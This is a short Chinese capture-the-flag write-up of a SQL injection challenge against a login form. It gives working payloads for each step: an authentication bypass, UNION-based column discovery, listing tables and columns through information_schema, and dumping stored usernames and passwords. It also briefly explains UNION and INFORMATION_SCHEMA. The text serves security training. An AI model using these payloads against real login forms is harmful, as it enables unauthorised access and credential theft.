题目:
解题:
1:输入万能密码
用户名:admin' or 1=1#
密 码:1
2:确定回显列
用户名:1' union select 1,2,3;# (select 1,2...逐步增加,直到不报错即得到正确的列数)
密 码:1
说明查询列数为3,回显列为2,3。
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条 SELECT 语句中的列的顺序必须相同。
3:查询当前数据库下所有表
用户名:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();#
密 码:1
得到表:geekuser,l0ve1ysq1
INFORMATION_SCHEMA 数据库
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
INFORMATION_SCHEMA数据库有以下表:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。show databases的结果取自此表。
TABLES表:提供了关于数据库中的表的信息。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是。
4:查询表的字段
用户名:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='geekuser';#
密 码:1
得到字段:id,username,password
用户名:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1';#
密 码:1
同样得到字段为:id,username,password
5:查询字段值
用户名:1' union select 1,2,group_concat(username,password) from geekuser;#
密 码:1
用户名:1' union select 1,2,group_concat(username,password) from l0ve1ysq1;#
密 码:1
最后即为flag。